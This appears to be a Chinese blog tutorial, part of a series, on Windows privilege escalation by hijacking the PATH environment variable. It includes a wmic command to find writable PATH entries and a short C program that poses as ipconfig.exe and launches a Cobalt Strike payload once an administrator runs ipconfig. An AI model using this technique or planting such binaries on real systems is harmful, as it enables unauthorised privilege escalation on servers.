操作系统权限提升(五)之系统错误配置-PATH环境变量提权

系列文章

操作系统权限提升(一)之操作系统权限介绍
操作系统权限提升(二)之常见提权的环境介绍
操作系统权限提升(三)之Windows系统内核溢出漏洞提权
操作系统权限提升(四)之系统错误配置-Tusted Service Paths提权

注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!

PATH环境变量提权

PATH环境变量提权原理

PATH环境变量包含很多目录列表,某些执行程序的方法(即使用cmd.exe或命令 行)仅依赖PATH环境变量来确定未提供程序路径时搜索程序的位置。

在这里插入图片描述
简单说就是当用户 在cmd命令行中运行一个命令时,若是没有使用绝对路径运行,如“C:\Windows\System32\ipconfig.exe”,直接在cmd中行“ipconfig”,那么Windows会先在当前目录寻找“ipconfig.exe”,若是没找到,则会根据PATH环境变量里的目录依次去寻找。

在这里插入图片描述
通常新增PATH环变量是在最后面添加,若是由于配置不当,导致在最前面新增了 PATH环境变量,那么在此目录下新建与常用系统命令一样名字的exe程序会优先执行

在这里插入图片描述

提权环境准备

打开环境变量在最前面添加一个路径,将其放置到第一个位置上

在这里插入图片描述
在这里插入图片描述
我们在wwwroot目录下创建一个自己写的ipconfig程序

echo 1 ipconfig

在这里插入图片描述

在这里插入图片描述
然后我们系统执行ipconfig命令

由于系统是按照环境变量的顺序来寻找ipconfig.exe的程序的,而我们又将wwwroot这个目录放置到了第一顺位,所以如果在cmd中输入ipconfig命令,就会先执行我们所创建的ipconfig程序,而不是系统默认的ipconfig

讲到这里大家也就明白了PATH环境变量劫持提权是怎么一回事了吧

在这里插入图片描述

PATH提权环境实战

1、先用webhsell MSF 或者CS上线机器

在这里插入图片描述
2、查找环境变量,发现前面有有一个 C:\inetpub\wwwroot

wmic ENVIRONMENT where "name='path'" get UserName, VariableValue

在这里插入图片描述3、查看上传的cs恶意程序的目录路劲,记录下来,后面写恶意程序要用到

在这里插入图片描述

4、制作恶意的软件,记住编译时一定要保存为ipconfig

#include<stdio.h>
#include<stdlib.h>
int main(){
	system("cmd.exe /c C:\\USERS\\apache\\Desktop\\1.exe");
	return 0;
}

在这里插入图片描述
在这里插入图片描述
5、将软件上传到 C:\inetpub\wwwroot 目录下

在这里插入图片描述
在这里插入图片描述6、等待管理员运行ipconfig 我们就可以上线了

在这里插入图片描述
在这里插入图片描述

posted @ 2023-02-01 12:29  私ははいしゃ敗者です  阅读(96)  评论(0编辑  收藏  举报  来源